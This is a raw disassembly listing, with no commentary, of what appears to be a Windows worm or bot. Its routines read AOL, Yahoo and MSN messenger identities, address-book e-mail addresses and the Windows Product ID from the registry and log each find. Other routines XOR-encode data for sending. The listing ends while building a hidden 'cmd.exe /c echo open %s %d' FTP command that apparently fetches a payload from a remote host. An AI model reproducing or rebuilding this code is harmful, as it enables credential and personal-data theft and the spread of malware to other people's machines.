dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h
dd 0F08B0044h, 8A0C6851h, 90560044h, 1BC8D6E8h, 4E5C6800h
dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h
dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h
dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h, 0C4837781h
dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89D86851h, 4A8D0044h
dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah
dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
dd 24448B04h, 0D9E8501Ch, 90024D9Fh, 1C244C8Dh, 182444C7h
dd 80h, 196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h
dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h
dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489A8h
dd 6852F08Bh, 448998h, 0C7C9E856h, 6890001Bh, 444E5Ch
dd 71E89056h, 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h
dd 80h, 9050646Ah, 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh
dd 44897C68h, 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h
dd 16F4249Ch, 548D0000h, 68527C24h, 448960h, 0E8694B8Dh
dd 0FFFCB3EDh, 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h
dd 0FCB74EE8h, 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h
dd 90560A74h, 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h
dd 8D024D9Eh, 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh
dd 0E9FFFCB0h, 184h
; ---------------------------------------------------------------------------
loc_436148: ; CODE XREF: ___:00435BD1j
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4362CC
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_4488F8
push ecx
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28F0000h
test eax, eax
jz short loc_4361D2
mov edx, [esp+10h]
push edx
call near ptr 2910000h
nop
jmp loc_4362CC
; ---------------------------------------------------------------------------
loc_4361D2: ; CODE XREF: ___:004361C0j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_511740
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_4488EC
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
call near ptr 28F0000h
nop
test eax, eax
jz short loc_436289
mov ecx, [esp+10h]
push ecx
call ebp
jmp short loc_4362CC
; ---------------------------------------------------------------------------
loc_436289: ; CODE XREF: ___:0043627Ej
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_4362CC: ; CODE XREF: ___:0043615Aj
; ___:0043617Ej ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4364D0 proc near ; CODE XREF: sub_4016FEj
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4364D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_4364D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436570: ; CODE XREF: ___:loc_401FF5j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017EE
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43680E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
nop
call near ptr 2940000h
mov eax, [esp+14h]
test eax, eax
jz loc_43680E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_448F30
push eax
nop
call near ptr 28F0000h
mov eax, [esp+14h]
push eax
call near ptr 2910000h
nop
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
nop
call near ptr 2860000h
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2730000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_436649
push edi
nop
call near ptr 28406F3h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436649: ; CODE XREF: ___:00436631j
push 0
push 0
push 0
push 4
push ebx
nop
call near ptr 27306FFh
mov esi, eax
test esi, esi
jnz short loc_436679
mov esi, dword_5118E0
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436679: ; CODE XREF: ___:0043665Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_436718
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4366BB: ; CODE XREF: ___:0043670Ej
xor eax, eax
mov ecx, edi
loc_4366BF: ; CODE XREF: ___:004366CFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4366BF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4366BB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_436718: ; CODE XREF: ___:004366A7j
push edi
mov edi, dword_5118E0
call edi
push esi
call near ptr 2730911h
nop
push ebx
call edi
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_43680E
mov ebx, off_511C00
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_436767: ; CODE XREF: ___:004367FEj
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_448A38
push ecx
call ebx ; sub_5F285B
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
nop
call near ptr 28F0000h
test eax, eax
jnz short loc_436803
lea ecx, [esp+2DCh]
push ecx
push offset dword_448A2C
lea ecx, [ebp+69h]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
push 64h
nop
call near ptr 2831C1Ah
jmp loc_436767
; ---------------------------------------------------------------------------
loc_436803: ; CODE XREF: ___:004367C3j
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2910000h
loc_43680E: ; CODE XREF: ___:00436594j
; ___:004365C4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368D0 proc near ; CODE XREF: sub_401E65j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4368D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_40168B
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_4368D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_40168B
add esi, 32h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4369E0 proc near ; CODE XREF: sub_401E6Aj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4369E0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436EB7
push ebp
xor ebp, ebp
push ebp
push offset asc_444600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017EE
mov edi, dword_511764
push eax
push 80000001h
call edi
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017EE
mov ebp, dword_51172C
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436B0C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B7B+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436B0C: ; CODE XREF: sub_4369E0+FCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000002h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436BF4
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B6F+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436BF4: ; CODE XREF: sub_4369E0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2910000h
nop
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000005h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436CDC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_448B64
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436CDC: ; CODE XREF: sub_4369E0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000000h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436DC4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436DC4: ; CODE XREF: sub_4369E0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000003h
call edi
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017EE
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_436EAD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436EAD: ; CODE XREF: sub_4369E0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_436F51
; ---------------------------------------------------------------------------
loc_436EB7: ; CODE XREF: sub_4369E0+3Cj
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436F57
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
call near ptr 2940000h
nop
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 28F0000h
test eax, eax
jnz short loc_436F4C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436F4C: ; CODE XREF: sub_4369E0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_436F51: ; CODE XREF: sub_4369E0+4D2j
nop
call near ptr 2910000h
loc_436F57: ; CODE XREF: sub_4369E0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4369E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4370F0 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_43710D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_437103: ; CODE XREF: sub_4370F0+1Bj
cmp [eax+edx], cl
jz short loc_437111
inc eax
cmp eax, esi
jl short loc_437103
loc_43710D: ; CODE XREF: sub_4370F0+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_437111: ; CODE XREF: sub_4370F0+16j
pop esi
mov al, 1
retn
sub_4370F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437130: ; CODE XREF: ___:00401433j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
nop
call near ptr 71AB2B66h
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_4371EC
push ebx
push ebp
call eax
add esp, 8
loc_4371EC: ; CODE XREF: ___:004371E3j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43722E: ; CODE XREF: ___:004372A7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4372A9
loc_43726E: ; CODE XREF: ___:0043723Cj
; ___:0043724Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4372A0
loc_437293: ; CODE XREF: ___:0043729Ej
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437293
loc_4372A0: ; CODE XREF: ___:00437291j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43722E
; ---------------------------------------------------------------------------
loc_4372A9: ; CODE XREF: ___:0043726Cj
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437390: ; CODE XREF: ___:00401D75j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_437442
push ebx
push ebp
call eax
add esp, 8
loc_437442: ; CODE XREF: ___:00437439j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437484: ; CODE XREF: ___:004374FDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4374FF
loc_4374C4: ; CODE XREF: ___:00437492j
; ___:004374A2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4374F6
loc_4374E9: ; CODE XREF: ___:004374F4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4374E9
loc_4374F6: ; CODE XREF: ___:004374E7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_437484
; ---------------------------------------------------------------------------
loc_4374FF: ; CODE XREF: ___:004374C2j
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4375F0: ; CODE XREF: ___:00401FFFj
mov eax, 200Ch
call sub_437B30
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call sub_5F285B
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
